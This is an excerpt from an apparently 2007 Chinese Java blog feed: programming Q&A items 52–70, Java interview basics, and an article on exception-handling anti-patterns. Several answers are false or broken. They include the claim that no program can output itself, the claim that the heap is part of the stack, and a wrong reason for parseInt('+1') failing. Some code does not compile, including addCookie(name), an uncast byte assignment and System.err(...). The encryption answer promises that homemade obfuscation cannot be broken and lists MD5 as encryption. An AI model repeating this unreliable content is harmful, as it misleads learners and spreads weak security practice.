所以直接继承的clone()方法并不能做任何时,你要使用这个方法就要重载这个方法并放宽访问权限为public,或实现cloneable接口. 但它没法这样告诉你它没有真的实现,只好用protected 方法加以警示<br />
<br />
<br />
52. 问：一个页面中如何刷新另外一个页面？<br />
答：<br />
要求是这些面页必须有关联,一是它们都有一个共同的顶层帧,也就是说是一个帧内的分级页面,当然可以是任意级,帧内再分帧也可以,另一个可能是当前窗口弹出的窗口,如果没有联系,那就不可能用一个页面刷新另一个页面. 帧内只要一级一级引用就行了. 比如在左帧中一个页面中写top.right.location.reload();那么名为right的右帧中的页面就会刷新. 弹出的一样,用open时的名称刷新子窗口,子窗口用opener刷新主窗口<br />
<br />
<br />
53. 问：如何在jsp中怎么样向客户端写cookies？<br />
答：<br />
Cookie coo = new Cookie(name, value);<br />
HttpServletResponse.addCookie(name);<br />
<br />
<br />
54. 问：为什么jTextField1.setText("aaabbb");jTextField2.setText("AAABBB"); 得到的字体宽度不一样？<br />
答：就是说如果不是指定为等宽字体,每个字体的宽度都是不一样的.因此JAVA中用FontMetrics 类来取字符宽度。<br />
<br />
<br />
55. 问：String kk=application/octet-stream; name="G:/SMBCrack.exe";如何得到SMBCrack.exe？<br />
答：<br />
这应该是解析上传时候的二进制流得到的这一行里面格式是固定的，取到name="后面的字符串，然后把";去掉。然后取最后一个/后面的所有字符组成一个新字符串就行了。<br />
<br />
<br />
56. 问：如何传值并不刷新页面？<br />
答：<br />
弹出一个页面进行值的选择或者输入，ok后使用将值传给原窗口，使用javascript关闭打开的窗口即可：<br />
window.close();opener.focus();<br />
<br />
<br />
<br />
57. 问：有一个字符串："EF0C114EA4"，如何变为a[0] = 0xEF a[1] = 0x0C a[2] = 0x11 a[3] = 0x4E a[4] = 0xA4？<br />
答：<br />
String str="EF0C114EA4F";<br />
out.print(str+"&lt;br&gt;");<br />
int l=str.length()/2+str.length()%2,j=0,k=0;<br />
String[] a=new String[l];<br />
for(int i=0;i&lt;l;i++){<br />
if(str.length()-j==1)<br />
k=str.length();<br />
else<br />
k=j+2;<br />
a[i]="0x"+str.substring(j,k);<br />
out.print("a["+Integer.toString(i)+"]="+a[i]+"&lt;br&gt;");<br />
j+=2;<br />
}<br />
<br />
<br />
58. 问：怎样将一个int转换成一个四字节的byte数组？<br />
答：<br />
int x = 1234567;<br />
byte[] b = new byte[4];<br />
for(int i=0;i&lt;b.length;i++)<br />
{<br />
b[i] = (x &gt;&gt;( i*8)) &amp; 0xFF;<br />
}<br />
<br />
<br />
59. 问：indexOf()的使用需要注意什么？<br />
答：参数是指从第几位（1，2，3，...）开始搜索，而返回值是指搜索到的位置（0，1，2，3.......）注意是从零算起的。<br />
<br />
<br />
60. 问：在Java应用程序中如何动态的添加一个按钮？<br />
答：<br />
这里涉及一个组件重绘的问题,组件要先于panel被显示之处存在,如果一panel已经显示了,那么加在上面你能看到吗?但如果在同一个panel上, 先有button A,假如按下它加了butt on B,这时你如果使整个panel重给,那么A本身要重绘,它的事件监听就没有了,当然也就加不成B了,所以如果要先有另一个panel,当按A时把B加在这个panel上并重绘这个paenl,其实更好的方法是先把B加在panel中,同一个也行.把它setVisiable(flase),按A时设为 true。<br />
<br />
<br />
61. 问：book mybook=new book(bookid);book是servlet,出错。<br />
答：<br />
book是servlet,能book mybook=new book(bookid);<br />
说明自己实现了servlet容器?不然,servlet能让你自己去调用? servlet如果调用其实和EJB连1%的区别都没有,它们都是自己继承或实现一些接口,在这些父类或接口中实现了如果和容器\"打交道"的方法,然后容器调用这些方法来管理它,让它生成实例,池化,钝化,销毁,再生等.所以这样写是错误的。<br />
<br />
<br />
62. 问：给定一个字符串5*(5+9)/7怎样计算出结果？<br />
答：<br />
可有两种方法<br />
1。用堆栈完成<br />
2。最简单的方法，不用编程，如果有任何一个数据库的化，用select (5*(5+9)/7) from oneTable<br />
<br />
<br />
63. 问：如何实现递交表单内容的加密解密？<br />
答：<br />
如果你用IE目前只能用SSL协议,这一层不要你考虑,否则只你用你自己的工具加密传输,接收后再解密友,至于如何加解,如果要和公认的系统结合,就用通用的MD5,RAS等公开算法,如果你只是自己传自己解,你随便按你的想法把数据加上一些东西,取回来按规则减掉这些东西,我敢保证除你自己没有任何人能知道解密方法.<br />
<br />
<br />
64. 问：为什么Integer.parseInt("+1");会抛出NumberFormatException的异常？<br />
答：因为"+"运行算在JAVA中被重载.系统无法确定你用的是算术加还是字符+。<br />
这一点可以在JAVASCRIPT中更好地理解:<br />
&lt;form name="t"&gt;&lt;input name=s value=1234&gt;&lt;/form&gt;<br />
var a = document.t.s.value+1;<br />
这时a = 12345,因为document.t.s.value作为字符串.但var a = document.t.s.value-1;<br />
a 就是1233,因为系统知道-运算肯定是算术运行.所以把document.t.s.value转换成数字.<br />
<br />
<br />
<br />
65. 问：hashCode() 有什么用为什么有时候需要覆盖Object里的hashcode()方法？<br />
答：这就是这个对象的身份证啊,要不如何区分哪个对象。<br />
<br />
<br />
66. 问：怎样在tomcat中实现一个定时执行的东东？<br />
答：<br />
在应用程序启动时自动运行。servlet2.3中定义了ServletListener,监听Servlet Con text的启动或则关闭（可在配置文件中配置），启动时触发一个守护程序的运行(可以实现java.util.Timer或则 javax.swing.Timer).<br />
<br />
<br />
67. 问：程序可以输出自己吗？<br />
答：孔德悖论这个非常有名的法则.就是说任何程序都不可能输出自己.<br />
<br />
<br />
68. 问：能够把字符转化成ASCII码？比如将 A 转化成 65？<br />
答：<br />
int a='A';<br />
out.println(a);<br />
<br />
<br />
69. 问：如何区分输入的文字中的全角与半角？<br />
答：由于不能分辨出全角和半角字符的值有什么规律,只好把全角符号牧举出来了.<br />
<br />
<br />
70. 问：用户注册后的自动发信程序该怎么做？<br />
答：<br />
这种发信程序不考虑性能,因为不可能1秒就有一个人注册,我们说的考虑性能的发信程序是指上百万封信在队列里要不停发送的那种,象你这个随便怎么写一个程序都行,没有必要用JAVAMAIL.只要指定一个发信的服务器然后用cocket连它的25口就行了.自己用SOCKET连SMTP的25口发一封信就好象两个邻居之间送一样东西,直接递过去得了,用JAVAMAIL,消息机制就是你把这个东西从邮局寄给你的邻居了.&nbsp;&nbsp;</p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/143463.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-09-07 16:25 <a href="http://www.blogjava.net/WshmAndLily/articles/143463.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>详解Java基础知识</title><link>http://www.blogjava.net/WshmAndLily/articles/143462.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 07 Sep 2007 08:22:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/143462.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/143462.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/143462.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/143462.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/143462.html</trackback:ping><description><![CDATA[<p>1、面向对象的特征有哪些方面&nbsp;</p>
<p>　　1.抽象：<br />
　　抽象就是忽略一个主题中与当前目标无关的那些方面，以便更充分地注意与当前目标有关的方面。抽象并不打算了解全部问题，而只是选择其中的一部分，暂时不用部分细节。抽象包括两个方面，一是过程抽象，二是数据抽象。</p>
<p>　　2.继承：<br />
　　继承是一种联结类的层次模型，并且允许和鼓励类的重用，它提供了一种明确表述共性的方法。对象的一个新类可以从现有的类中派生，这个过程称为类继承。新类继承了原始类的特性，新类称为原始类的派生类（子类），而原始类称为新类的基类（父类）。派生类可以从它的基类那里继承方法和实例变量，并且类可以修改或增加新的方法使之更适合特殊的需要。</p>
<p>　　3.封装：<br />
　　封装是把过程和数据包围起来，对数据的访问只能通过已定义的界面。面向对象计算始于这个基本概念，即现实世界可以被描绘成一系列完全自治、封装的对象，这些对象通过一个受保护的接口访问其他对象。<br />
　　<br />
　　4.&nbsp;多态性：<br />
　　多态性是指允许不同类的对象对同一消息作出响应。多态性包括参数化多态性和包含多态性。多态性语言具有灵活、抽象、行为共享、代码共享的优势，很好的解决了应用程序函数同名问题。</p>
<p>2、String是最基本的数据类型吗?<br />
　　基本数据类型包括byte、int、char、long、float、double、boolean和short。<br />
&nbsp;&nbsp;&nbsp;&nbsp;java.lang.String类是final类型的，因此不可以继承这个类、不能修改这个类。为了提高效率节省空间，我们应该用StringBuffer类</p>
<p>3、int&nbsp;和&nbsp;Integer&nbsp;有什么区别<br />
　　Java&nbsp;提供两种不同的类型：引用类型和原始类型（或内置类型）。Int是java的原始数据类型，Integer是java为int提供的封装类。Java为每个原始类型提供了封装类。<br />
原始类型封装类<br />
booleanBoolean<br />
charCharacter<br />
byteByte<br />
shortShort<br />
intInteger<br />
longLong<br />
floatFloat<br />
doubleDouble<br />
　　引用类型和原始类型的行为完全不同，并且它们具有不同的语义。引用类型和原始类型具有不同的特征和用法，它们包括：大小和速度问题，这种类型以哪种类型的数据结构存储，当引用类型和原始类型用作某个类的实例数据时所指定的缺省值。对象引用实例变量的缺省值为&nbsp;null，而原始类型实例变量的缺省值与它们的类型有关。<br />
　　<br />
4、String&nbsp;和StringBuffer的区别<br />
　　JAVA平台提供了两个类：String和StringBuffer，它们可以储存和操作字符串，即包含多个字符的字符数据。这个String类提供了数值不可改变的字符串。而这个StringBuffer类提供的字符串进行修改。当你知道字符数据要改变的时候你就可以使用StringBuffer。典型地，你可以使用StringBuffers来动态构造字符数据。<br />
　　<br />
5、运行时异常与一般异常有何异同？<br />
　　异常表示程序运行过程中可能出现的非正常状态，运行时异常表示虚拟机的通常操作中可能遇到的异常，是一种常见运行错误。java编译器要求方法必须声明抛出可能发生的非运行时异常，但是并不要求必须声明抛出未被捕获的运行时异常。</p>
<p>6、说出Servlet的生命周期，并说出Servlet和CGI的区别。<br />
　　Servlet被服务器实例化后，容器运行其init方法，请求到达时运行其service方法，service方法自动派遣运行与请求对应的doXXX方法（doGet，doPost）等，当服务器决定将实例销毁的时候调用其destroy方法。</p>
<p>　　与cgi的区别在于servlet处于服务器进程中，它通过多线程方式运行其service方法，一个实例可以服务于多个请求，并且其实例一般不会销毁，而CGI对每个请求都产生新的进程，服务完成后就销毁，所以效率上低于servlet。</p>
<p>7、说出ArrayList,Vector,&nbsp;LinkedList的存储性能和特性<br />
　　ArrayList和Vector都是使用数组方式存储数据，此数组元素数大于实际存储的数据以便增加和插入元素，它们都允许直接按序号索引元素，但是插入元素要涉及数组元素移动等内存操作，所以索引数据快而插入数据慢，Vector由于使用了synchronized方法（线程安全），通常性能上较ArrayList差，而LinkedList使用双向链表实现存储，按序号索引数据需要进行前向或后向遍历，但是插入数据时只需要记录本项的前后项即可，所以插入速度较快。</p>
<p>8、EJB是基于哪些技术实现的？并说出SessionBean和EntityBean的区别，StatefulBean和StatelessBean的区别。<br />
&nbsp;&nbsp;&nbsp;&nbsp;EJB包括Session&nbsp;Bean、Entity&nbsp;Bean、Message&nbsp;Driven&nbsp;Bean，基于JNDI、RMI、JAT等技术实现。<br />
　　SessionBean在J2EE应用程序中被用来完成一些服务器端的业务操作，例如访问数据库、调用其他EJB组件。EntityBean被用来代表应用系统中用到的数据。<br />
　　对于客户机，SessionBean是一种非持久性对象，它实现某些在服务器上运行的业务逻辑。<br />
　　对于客户机，EntityBean是一种持久性对象，它代表一个存储在持久性存储器中的实体的对象视图，或是一个由现有企业应用程序实现的实体。</p>
<p>　　Session&nbsp;Bean&nbsp;还可以再细分为&nbsp;Stateful&nbsp;Session&nbsp;Bean&nbsp;与&nbsp;Stateless&nbsp;Session&nbsp;Bean&nbsp;，这两种的&nbsp;Session&nbsp;Bean都可以将系统逻辑放在&nbsp;method之中执行，不同的是&nbsp;Stateful&nbsp;Session&nbsp;Bean&nbsp;可以记录呼叫者的状态，因此通常来说，一个使用者会有一个相对应的&nbsp;Stateful&nbsp;Session&nbsp;Bean&nbsp;的实体。Stateless&nbsp;Session&nbsp;Bean&nbsp;虽然也是逻辑组件，但是他却不负责记录使用者状态，也就是说当使用者呼叫&nbsp;Stateless&nbsp;Session&nbsp;Bean&nbsp;的时候，EJB&nbsp;Container&nbsp;并不会找寻特定的&nbsp;Stateless&nbsp;Session&nbsp;Bean&nbsp;的实体来执行这个&nbsp;method。换言之，很可能数个使用者在执行某个&nbsp;Stateless&nbsp;Session&nbsp;Bean&nbsp;的&nbsp;methods&nbsp;时，会是同一个&nbsp;Bean&nbsp;的&nbsp;Instance&nbsp;在执行。从内存方面来看，&nbsp;Stateful&nbsp;Session&nbsp;Bean&nbsp;与&nbsp;Stateless&nbsp;Session&nbsp;Bean&nbsp;比较，&nbsp;Stateful&nbsp;Session&nbsp;Bean&nbsp;会消耗&nbsp;J2EE&nbsp;Server&nbsp;较多的内存，然而&nbsp;Stateful&nbsp;Session&nbsp;Bean&nbsp;的优势却在于他可以维持使用者的状态。</p>
<p>9、Collection&nbsp;和&nbsp;Collections的区别。&nbsp;<br />
　　Collection是集合类的上级接口，继承与他的接口主要有Set&nbsp;和List.<br />
&nbsp;&nbsp;&nbsp;&nbsp;Collections是针对集合类的一个帮助类，他提供一系列静态方法实现对各种集合的搜索、排序、线程安全化等操作。</p>
<p>10、&amp;和&amp;&amp;的区别。&nbsp;<br />
　　&amp;是位运算符，表示按位与运算，&amp;&amp;是逻辑运算符，表示逻辑与（and）。</p>
<p>11、HashMap和Hashtable的区别。&nbsp;<br />
　　HashMap是Hashtable的轻量级实现（非线程安全的实现），他们都完成了Map接口，主要区别在于HashMap允许空（null）键值（key）,由于非线程安全，效率上可能高于Hashtable。</p>
<p>　　HashMap允许将null作为一个entry的key或者value，而Hashtable不允许。<br />
　　HashMap把Hashtable的contains方法去掉了，改成containsvalue和containsKey。因为contains方法容易让人引起误解。&nbsp;<br />
　　Hashtable继承自Dictionary类，而HashMap是Java1.2引进的Map&nbsp;interface的一个实现。<br />
　　最大的不同是，Hashtable的方法是Synchronize的，而HashMap不是，在多个线程访问Hashtable时，不需要自己为它的方法实现同步，而HashMap&nbsp;就必须为之提供外同步。&nbsp;<br />
　　Hashtable和HashMap采用的hash/rehash算法都大概一样，所以性能不会有很大的差异。</p>
<p>12、final,&nbsp;finally,&nbsp;finalize的区别。&nbsp;<br />
　　final&nbsp;用于声明属性，方法和类，分别表示属性不可变，方法不可覆盖，类不可继承。<br />
finally是异常处理语句结构的一部分，表示总是执行。</p>
<p>　　finalize是Object类的一个方法，在垃圾收集器执行的时候会调用被回收对象的此方法，可以覆盖此方法提供垃圾收集时的其他资源回收，例如关闭文件等。</p>
<p>13、sleep()&nbsp;和&nbsp;wait()&nbsp;有什么区别?&nbsp;<br />
　　sleep是线程类（Thread）的方法，导致此线程暂停执行指定时间，给执行机会给其他线程，但是监控状态依然保持，到时后会自动恢复。调用sleep不会释放对象锁。<br />
wait是Object类的方法，对此对象调用wait方法导致本线程放弃对象锁，进入等待此对象的等待锁定池，只有针对此对象发出notify方法（或notifyAll）后本线程才进入对象锁定池准备获得对象锁进入运行状态。</p>
<p>14、Overload和Override的区别。Overloaded的方法是否可以改变返回值的类型?<br />
　　方法的重写Overriding和重载Overloading是Java多态性的不同表现。重写Overriding是父类与子类之间多态性的一种表现，重载Overloading是一个类中多态性的一种表现。如果在子类中定义某方法与其父类有相同的名称和参数，我们说该方法被重写&nbsp;(Overriding)。子类的对象使用这个方法时，将调用子类中的定义，对它而言，父类中的定义如同被"屏蔽"了。如果在一个类中定义了多个同名的方法，它们或有不同的参数个数或有不同的参数类型，则称为方法的重载(Overloading)。Overloaded的方法是可以改变返回值的类型。</p>
<p>15、error和exception有什么区别?<br />
　　error&nbsp;表示恢复不是不可能但很困难的情况下的一种严重问题。比如说内存溢出。不可能指望程序能处理这样的情况。<br />
　　exception&nbsp;表示一种设计或实现问题。也就是说，它表示如果程序运行正常，从不会发生的情况。</p>
<p>16、同步和异步有何异同，在什么情况下分别使用他们？举例说明。<br />
　　如果数据将在线程间共享。例如正在写的数据以后可能被另一个线程读到，或者正在读的数据可能已经被另一个线程写过了，那么这些数据就是共享数据，必须进行同步存取。<br />
当应用程序在对象上调用了一个需要花费很长时间来执行的方法，并且不希望让程序等待方法的返回时，就应该使用异步编程，在很多情况下采用异步途径往往更有效率。</p>
<p>17、abstract&nbsp;class和interface有什么区别?</p>
<p>　　声明方法的存在而不去实现它的类被叫做抽象类（abstract&nbsp;class），它用于要创建一个体现某些基本行为的类，并为该类声明方法，但不能在该类中实现该类的情况。不能创建abstract&nbsp;类的实例。然而可以创建一个变量，其类型是一个抽象类，并让它指向具体子类的一个实例。不能有抽象构造函数或抽象静态方法。Abstract&nbsp;类的子类为它们父类中的所有抽象方法提供实现，否则它们也是抽象类为。取而代之，在子类中实现该方法。知道其行为的其它类可以在类中实现这些方法。</p>
<p>　　接口（interface）是抽象类的变体。在接口中，所有方法都是抽象的。多继承性可通过实现这样的接口而获得。接口中的所有方法都是抽象的，没有一个有程序体。接口只可以定义static&nbsp;final成员变量。接口的实现与子类相似，除了该实现类不能从接口定义中继承行为。当类实现特殊接口时，它定义（即将程序体给予）所有这种接口的方法。然后，它可以在实现了该接口的类的任何对象上调用接口的方法。由于有抽象类，它允许使用接口名作为引用变量的类型。通常的动态联编将生效。引用可以转换到接口类型或从接口类型转换，instanceof&nbsp;运算符可以用来决定某对象的类是否实现了接口。</p>
<p>18、heap和stack有什么区别。<br />
　　栈是一种线形集合，其添加和删除元素的操作应在同一段完成。栈按照后进先出的方式进行处理。<br />
　　堆是栈的一个组成元素</p>
<p>19、forward&nbsp;和redirect的区别<br />
　　forward是服务器请求资源，服务器直接访问目标地址的URL，把那个URL的响应内容读取过来，然后把这些内容再发给浏览器，浏览器根本不知道服务器发送的内容是从哪儿来的，所以它的地址栏中还是原来的地址。<br />
　　redirect就是服务端根据逻辑,发送一个状态码,告诉浏览器重新去请求那个地址，一般来说浏览器会用刚才请求的所有参数重新请求，所以session,request参数都可以获取。</p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/143462.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-09-07 16:22 <a href="http://www.blogjava.net/WshmAndLily/articles/143462.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>六大代码问题检验你的Java知识</title><link>http://www.blogjava.net/WshmAndLily/articles/143444.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 07 Sep 2007 07:55:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/143444.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/143444.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/143444.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/143444.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/143444.html</trackback:ping><description><![CDATA[你觉得自己是一个Java专家吗？是否肯定自己已经全面掌握了Java的异常处理机制？在下面这段代码中，你能够迅速找出异常处理的六个问题吗？ <br />
<br />
1 OutputStreamWriter out = ... <br />
　　 2 java.sql.Connection conn = ... <br />
　　 3 try { // ⑸ <br />
　　 4 Statement stat = conn.createStatement(); <br />
　　 5 ResultSet rs = stat.executeQuery( <br />
　　 6 "select uid, name from user"); <br />
　　 7 while (rs.next()) <br />
　　 8 { <br />
　　 9 out.println("ID：" + rs.getString("uid") // ⑹ <br />
　　 10 "，姓名：" + rs.getString("name")); <br />
　　 11 } <br />
　　 12 conn.close(); // ⑶ <br />
　　 13 out.close(); <br />
　　 14 } <br />
　　 15 catch(Exception ex) // ⑵ <br />
　　 16 { <br />
　　 17 ex.printStackTrace(); // ⑴，⑷ <br />
　　 18 } <br />
<br />
<br />
　　 作为一个Java程序员，你至少应该能够找出两个问题。但是，如果你不能找出全部六个问题，请继续阅读本文。 <br />
<br />
　　 本文讨论的不是Java异常处理的一般性原则，因为这些原则已经被大多数人熟知。我们要做的是分析各种可称为&#8220;反例&#8221;（anti-pattern）的违背优秀编码规范的常见坏习惯，帮助读者熟悉这些典型的反面例子，从而能够在实际工作中敏锐地察觉和避免这些问题。 <br />
<br />
　　 反例之一：丢弃异常 <br />
<br />
　　 代码：15行-18行。 <br />
<br />
　　 这段代码捕获了异常却不作任何处理，可以算得上Java编程中的杀手。从问题出现的频繁程度和祸害程度来看，它也许可以和C/C++程序的一个恶名远播的问题相提并论:不检查缓冲区是否已满。如果你看到了这种丢弃（而不是抛出）异常的情况，可以百分之九十九地肯定代码存在问题（在极少数情况下，这段代码有存在的理由，但最好加上完整的注释，以免引起别人误解）。 <br />
<br />
　　 这段代码的错误在于，异常（几乎）总是意味着某些事情不对劲了，或者说至少发生了某些不寻常的事情，我们不应该对程序发出的求救信号保持沉默和无动于衷。调用一下printStackTrace算不上&#8220;处理异常&#8221;。不错，调用printStackTrace对调试程序有帮助，但程序调试阶段结束之后，printStackTrace就不应再在异常处理模块中担负主要责任了。 <br />
<br />
　　 丢弃异常的情形非常普遍。打开JDK的ThreadDeath类的文档，可以看到下面这段说明：&#8220;特别地，虽然出现ThreadDeath是一种&#8216;正常的情形'，但ThreadDeath类是Error而不是Exception的子类，因为许多应用会捕获所有的Exception然后丢弃它不再理睬。&#8221;这段话的意思是，虽然ThreadDeath代表的是一种普通的问题，但鉴于许多应用会试图捕获所有异常然后不予以适当的处理，所以JDK把ThreadDeath定义成了Error的子类，因为Error类代表的是一般的应用不应该去捕获的严重问题。可见，丢弃异常这一坏习惯是如此常见，它甚至已经影响到了Java本身的设计。 <br />
<br />
　　 那么，应该怎样改正呢？主要有四个选择： <br />
<br />
　　 1、处理异常。针对该异常采取一些行动，例如修正问题、提醒某个人或进行其他一些处理，要根据具体的情形确定应该采取的动作。再次说明，调用printStackTrace算不上已经&#8220;处理好了异常&#8221;。 <br />
　　 2、重新抛出异常。处理异常的代码在分析异常之后，认为自己不能处理它，重新抛出异常也不失为一种选择。 <br />
　　 3、把该异常转换成另一种异常。大多数情况下，这是指把一个低级的异常转换成应用级的异常（其含义更容易被用户了解的异常）。 <br />
　　 4、不要捕获异常。 <br />
<br />
　　 结论一：既然捕获了异常，就要对它进行适当的处理。不要捕获异常之后又把它丢弃，不予理睬。 <br />
<br />
　　 反例之二：不指定具体的异常 <br />
<br />
　　 代码：15行。 <br />
<br />
　　 许多时候人们会被这样一种&#8220;美妙的&#8221;想法吸引：用一个catch语句捕获所有的异常。最常见的情形就是使用catch(Exception ex)语句。但实际上，在绝大多数情况下，这种做法不值得提倡。为什么呢？ <br />
<br />
　　 要理解其原因，我们必须回顾一下catch语句的用途。catch语句表示我们预期会出现某种异常，而且希望能够处理该异常。异常类的作用就是告诉Java编译器我们想要处理的是哪一种异常。由于绝大多数异常都直接或间接从java.lang.Exception派生，catch(Exception ex)就相当于说我们想要处理几乎所有的异常。 <br />
　　 再来看看前面的代码例子。我们真正想要捕获的异常是什么呢？最明显的一个是SQLException，这是JDBC操作中常见的异常。另一个可能的异常是IOException，因为它要操作OutputStreamWriter。显然，在同一个catch块中处理这两种截然不同的异常是不合适的。如果用两个catch块分别捕获SQLException和IOException就要好多了。这就是说，catch语句应当尽量指定具体的异常类型，而不应该指定涵盖范围太广的Exception类。 <br />
<br />
　　 另一方面，除了这两个特定的异常，还有其他许多异常也可能出现。例如，如果由于某种原因，executeQuery返回了null，该怎么办？答案是让它们继续抛出，即不必捕获也不必处理。实际上，我们不能也不应该去捕获可能出现的所有异常，程序的其他地方还有捕获异常的机会??直至最后由JVM处理。 <br />
<br />
　　 结论二：在catch语句中尽可能指定具体的异常类型，必要时使用多个catch。不要试图处理所有可能出现的异常。 <br />
<br />
　　 反例之三：占用资源不释放 <br />
<br />
　　 代码：3行-14行。 <br />
<br />
　　 异常改变了程序正常的执行流程。这个道理虽然简单，却常常被人们忽视。如果程序用到了文件、Socket、JDBC连接之类的资源，即使遇到了异常，也要正确释放占用的资源。为此，Java提供了一个简化这类操作的关键词finally。 <br />
<br />
　　 finally是样好东西：不管是否出现了异常，Finally保证在try/catch/finally块结束之前，执行清理任务的代码总是有机会执行。遗憾的是有些人却不习惯使用finally。 <br />
<br />
　　 当然，编写finally块应当多加小心，特别是要注意在finally块之内抛出的异常??这是执行清理任务的最后机会，尽量不要再有难以处理的错误。 <br />
<br />
　　 结论三：保证所有资源都被正确释放。充分运用finally关键词。 <br />
<br />
　　 反例之四：不说明异常的详细信息 <br />
<br />
　　 代码：3行-18行。 <br />
<br />
　　 仔细观察这段代码：如果循环内部出现了异常，会发生什么事情？我们可以得到足够的信息判断循环内部出错的原因吗？不能。我们只能知道当前正在处理的类发生了某种错误，但却不能获得任何信息判断导致当前错误的原因。 <br />
<br />
　　 printStackTrace的堆栈跟踪功能显示出程序运行到当前类的执行流程，但只提供了一些最基本的信息，未能说明实际导致错误的原因，同时也不易解读。 <br />
<br />
　　 因此，在出现异常时，最好能够提供一些文字信息，例如当前正在执行的类、方法和其他状态信息，包括以一种更适合阅读的方式整理和组织printStackTrace提供的信息。 <br />
<br />
　　 结论四：在异常处理模块中提供适量的错误原因信息，组织错误信息使其易于理解和阅读。 <br />
<br />
　　 反例之五：过于庞大的try块 <br />
<br />
　　 代码：3行-14行。 <br />
<br />
　　 经常可以看到有人把大量的代码放入单个try块，实际上这不是好习惯。这种现象之所以常见，原因就在于有些人图省事，不愿花时间分析一大块代码中哪几行代码会抛出异常、异常的具体类型是什么。把大量的语句装入单个巨大的try块就象是出门旅游时把所有日常用品塞入一个大箱子，虽然东西是带上了，但要找出来可不容易。 <br />
<br />
　　 一些新手常常把大量的代码放入单个try块，然后再在catch语句中声明Exception，而不是分离各个可能出现异常的段落并分别捕获其异常。这种做法为分析程序抛出异常的原因带来了困难，因为一大段代码中有太多的地方可能抛出Exception。 <br />
<br />
　　 结论五：尽量减小try块的体积。 <br />
<br />
　　 反例之六：输出数据不完整 <br />
<br />
　　 代码：7行-11行。 <br />
<br />
　　 不完整的数据是Java程序的隐形杀手。仔细观察这段代码，考虑一下如果循环的中间抛出了异常，会发生什么事情。循环的执行当然是要被打断的，其次，catch块会执行??就这些，再也没有其他动作了。已经输出的数据怎么办？使用这些数据的人或设备将收到一份不完整的（因而也是错误的）数据，却得不到任何有关这份数据是否完整的提示。对于有些系统来说，数据不完整可能比系统停止运行带来更大的损失。 <br />
<br />
　　 较为理想的处置办法是向输出设备写一些信息，声明数据的不完整性；另一种可能有效的办法是，先缓冲要输出的数据，准备好全部数据之后再一次性输出。 <br />
<br />
　　 结论六：全面考虑可能出现的异常以及这些异常对执行流程的影响。 <br />
<br />
<br />
　　 改写后的代码 <br />
<br />
　　 根据上面的讨论，下面给出改写后的代码。也许有人会说它稍微有点罗嗦，但是它有了比较完备的异常处理机制。 <br />
<br />
　　 OutputStreamWriter out = ... <br />
　　 java.sql.Connection conn = ... <br />
　　 try { <br />
　　　 Statement stat = conn.createStatement(); <br />
　　　 ResultSet rs = stat.executeQuery("select uid, name from user"); <br />
　　　 while (rs.next()) <br />
　　　 { <br />
　　　　 out.println("ID：" + rs.getString("uid") + "，姓名: " + rs.getString("name")); <br />
　　　 } <br />
　　 } <br />
　　 catch(SQLException sqlex) <br />
　　 { <br />
　　　 out.println("警告：数据不完整"); <br />
　　　 throw new ApplicationException("读取数据时出现SQL错误", sqlex); <br />
　　 } <br />
　　 catch(IOException ioex) <br />
　　 { <br />
　　　 throw new ApplicationException("写入数据时出现IO错误", ioex); <br />
　　 } <br />
　　 finally <br />
　　 { <br />
　　　 if (conn != null) { <br />
　　　　 try { <br />
　　　　　 conn.close(); <br />
　　　　 } <br />
　　　　 catch(SQLException sqlex2) <br />
　　　　 { <br />
　　　　　 System.err(this.getClass().getName() + ".mymethod - 不能关闭数据库连接: " + sqlex2.toString()); <br />
　　　　 } <br />
　　　 } <br />
　　　 if (out != null) { <br />
　　　　 try { <br />
　　　　　 out.close(); <br />
　　　　 } <br />
　　　　 catch(IOException ioex2) <br />
　　　　 { <br />
　　　　　 System.err(this.getClass().getName() + ".mymethod - 不能关闭输出文件" + ioex2.toString()); <br />
　　　　 } <br />
　　　 } <br />
　　 } <br />
<br />
　　 本文的结论不是放之四海皆准的教条，有时常识和经验才是最好的老师。如果你对自己的做法没有百分之百的信心，务必加上详细、全面的注释。 <br />
　　 一方面，不要笑话这些错误，不妨问问你自己是否真地彻底摆脱了这些坏习惯。即使最有经验的程序员偶尔也会误入歧途，原因很简单，因为它们确确实实带来了&#8220;方便&#8221;。所有这些反例都可以看作Java编程世界的恶魔，它们美丽动人，无孔不入，时刻诱惑着你。也许有人会认为这些都属于鸡皮蒜毛的小事，不足挂齿，但请记住：勿以恶小而为之，勿以善小而不为。 <br />
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/143444.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-09-07 15:55 <a href="http://www.blogjava.net/WshmAndLily/articles/143444.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java文章网址收集</title><link>http://www.blogjava.net/WshmAndLily/articles/143438.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 07 Sep 2007 07:46:00 